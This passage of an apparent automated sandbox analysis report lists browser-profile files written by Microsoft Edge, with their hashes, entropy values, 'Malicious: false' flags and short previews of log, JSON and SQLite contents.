File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.118539632297985
Encrypted:	false
SSDEEP:	6:H6qIq2P923oH+Tcwt7Uh2ghZIFUt8Y61XZmw+Y61FkwO923oH+Tcwt7Uh2gnLJ:5Iv4YebIhHh2FUt8/X/+/F5LYebIhHLJ
MD5:	D73104B30E6A7459F5D5F5ABE9B97CA6
SHA1:	F98B6E2E45F5E4C4595FBF5A3F97A548B3B9B1D7
SHA-256:	9299E27494D22935ADA0E18F11BD98AD05B3F9B97444D7DDBAF35D246005DE92
SHA-512:	30B9FC9D99D543773D57D1ECDA81280C7B8D85F77155E5D1009AC7C2251F69E153ED4B95406396E73D12889FFD02947335851E49C21397FA498D7BE95C9805E7
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:13.678 1ea4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/20-02:09:13.679 1ea4 Recovering log #3.2024/11/20-02:09:13.679 1ea4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.208861510381741
Encrypted:	false
SSDEEP:	12:f1M+v4YebvqBQFUt8zw/+ZMV5LYebvqBvJ:n4YebvZg8aLYebvk
MD5:	DDE2EEE8CAC1A32D4540E8160A878EF9
SHA1:	E703F604C8E4437FD59C563327F1658788FEF7BA
SHA-256:	11BE45E33BABF8EBD32AD660774F2D50199907DFE353F90FFD87D2DC78E67014
SHA-512:	6FD31E4349DD8EA34655EB4AFD94EC2B59D7EF51034ED476ED6EECA7C7597C489F62C4BF70838C72D8F79F804E95180B74C00F6D2F63EA1D6823F334C341A6D2
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:14.667 1cfc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/20-02:09:14.668 1cfc Recovering log #3.2024/11/20-02:09:14.679 1cfc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.208861510381741
Encrypted:	false
SSDEEP:	12:f1M+v4YebvqBQFUt8zw/+ZMV5LYebvqBvJ:n4YebvZg8aLYebvk
MD5:	DDE2EEE8CAC1A32D4540E8160A878EF9
SHA1:	E703F604C8E4437FD59C563327F1658788FEF7BA
SHA-256:	11BE45E33BABF8EBD32AD660774F2D50199907DFE353F90FFD87D2DC78E67014
SHA-512:	6FD31E4349DD8EA34655EB4AFD94EC2B59D7EF51034ED476ED6EECA7C7597C489F62C4BF70838C72D8F79F804E95180B74C00F6D2F63EA1D6823F334C341A6D2
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:14.667 1cfc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/20-02:09:14.668 1cfc Recovering log #3.2024/11/20-02:09:14.679 1cfc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\399d5804-b2a3-4221-afed-af02602e05a7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\3c93ee71-52eb-4429-8df8-f6f7a5b59624.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\4b2d772f-48da-4c9b-b00f-09faa7c99b11.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\680ce0ec-f0a4-4b5c-b5f1-5a6c1c88a1b5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF38713.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF38fed.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF47135.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\c6d831f1-d054-4bfd-9507-32c69343c1a3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\ef32e9d7-1a54-4ab8-8436-0df7f2c5b5aa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Reputation:	unknown
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.169187383563599
Encrypted:	false
SSDEEP:	6:H6MSVq2P923oH+TcwtzjqEKj0QMxIFUt8Y6sgZmw+Y66SIkwO923oH+TcwtzjqEr:Mv4YebvqBZFUt8n/+QF5LYebvqBaJ
MD5:	07A86C2C57F153068E1489A9AC4B36BB
SHA1:	4E272F7AD527D1D0D9A7663D3B076301C6C1885E
SHA-256:	C3D7901C1BCD8891ED9C405EB47F3F26FD86B73BF63BA7CF10D28DE6E022E6EB
SHA-512:	BB897F44A7CB487E9141C072A6C4F6E816372C510C2B88D0D31C718BB3D082FF728AEBC3F64D40DCD3DFAC6FB8C9AD478BD0C61ED98353DE8BC5B49ED4D01514
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:33.073 1030 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/20-02:09:33.074 1030 Recovering log #3.2024/11/20-02:09:33.079 1030 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.169187383563599
Encrypted:	false
SSDEEP:	6:H6MSVq2P923oH+TcwtzjqEKj0QMxIFUt8Y6sgZmw+Y66SIkwO923oH+TcwtzjqEr:Mv4YebvqBZFUt8n/+QF5LYebvqBaJ
MD5:	07A86C2C57F153068E1489A9AC4B36BB
SHA1:	4E272F7AD527D1D0D9A7663D3B076301C6C1885E
SHA-256:	C3D7901C1BCD8891ED9C405EB47F3F26FD86B73BF63BA7CF10D28DE6E022E6EB
SHA-512:	BB897F44A7CB487E9141C072A6C4F6E816372C510C2B88D0D31C718BB3D082FF728AEBC3F64D40DCD3DFAC6FB8C9AD478BD0C61ED98353DE8BC5B49ED4D01514
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:33.073 1030 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/20-02:09:33.074 1030 Recovering log #3.2024/11/20-02:09:33.079 1030 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1848696931748055
Encrypted:	false
SSDEEP:	6:H6i4q2P923oH+TcwtpIFUt8Y6N2F3JZmw+Y6XXDkwO923oH+Tcwta/WLJ:j4v4YebmFUt8EJ/+xD5LYebaUJ
MD5:	EFE2CE6F32F90CD7CB4543AC0E9CD6FF
SHA1:	662542FFA782D56E0B87DC88415306383024AAC9
SHA-256:	EE2C8667AED73758BD18EEB5478F327289E15F7FA061E4AD33709973C6CD1FE3
SHA-512:	F169B3886E1DC09D030A6DACC0C08B8B8863916709E52F8F5D4D1CCA8985EB2717AC29F9366BB64081AD1555AF5937DF9314038FB6BB0CFBDAB2440152E8204A
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:13.679 1e64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/20-02:09:13.680 1e64 Recovering log #3.2024/11/20-02:09:13.683 1e64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1848696931748055
Encrypted:	false
SSDEEP:	6:H6i4q2P923oH+TcwtpIFUt8Y6N2F3JZmw+Y6XXDkwO923oH+Tcwta/WLJ:j4v4YebmFUt8EJ/+xD5LYebaUJ
MD5:	EFE2CE6F32F90CD7CB4543AC0E9CD6FF
SHA1:	662542FFA782D56E0B87DC88415306383024AAC9
SHA-256:	EE2C8667AED73758BD18EEB5478F327289E15F7FA061E4AD33709973C6CD1FE3
SHA-512:	F169B3886E1DC09D030A6DACC0C08B8B8863916709E52F8F5D4D1CCA8985EB2717AC29F9366BB64081AD1555AF5937DF9314038FB6BB0CFBDAB2440152E8204A
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:13.679 1e64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/20-02:09:13.680 1e64 Recovering log #3.2024/11/20-02:09:13.683 1e64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2651704306404146
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkM0SAELyKOMq+8yC8F/YfU5m+OlTLVumr:Bq+n0J09ELyKOMq+8y9/OwA
MD5:	B3B96B6832EBE2D76DF65D4CE16120C4
SHA1:	599A1C22665EC6481792503C01E98F8C7D4FC453
SHA-256:	2203FADC7F4EA13FC213C911FE7A0FD81B1C923088E1CF5CF2E0D45832544E4E
SHA-512:	92867F36E1538BB22D65958FACD76AE0DE88BB37513EFE066FABC98365780929ECC84862B9C5B69E668336FD138DA56AB8E24A99B357D33D968C7A86A0C1D77A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4670146496244994
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0aR:v7doKsKuKZKlZNmu46yjx0c
MD5:	B3799D4F228A8409D1F1BAA12D9D1374
SHA1:	45FC28F0685103CAD1C7790D1E065FA7DA48560A
SHA-256:	C9D49D5474AD73151BBE22C2F6532F9D88529E55FA3F14BA9CCE5C3EFB12CB60
SHA-512:	CA7A983D36E48F4000B6B52BCCEDA3C83B7189CFC6914B8FB1820A38602FCD40C1967C36B2BF36C3C3DE20A1088B967AB7BC5048379EA78C9B3F8FA193A89CA7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a51ee2b1-6b0b-4b2c-bc9b-fba7d63237a5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17588), with no line terminators
Category:	dropped
Size (bytes):	17588
Entropy (8bit):	5.485367150184691
Encrypted:	false
SSDEEP:	384:stGPGKSu4wsgJfhYgdmyxxcIlJbGEQwr6WFlaTYV:sIOxubJfE0LbGDI3aTYV
MD5:	BB877862CC4D6DDDAE69058588FC9593
SHA1:	ABA0B6EC902B85F5102947E9DD8B7BC5ACE3B299
SHA-256:	F487F197F6AC5C39CD432EA5176C010201B49E765AF200AB9366F2881BC6D611
SHA-512:	706E3E826BAE2A77A5338B1C158F0A578F265F12F9867BE20C27504D87FB62E1AB4EF417D3C624B4D8267C76B8784E3B43BE469CA23E8EECEF6A8C2C887AC521
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376560154317492","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
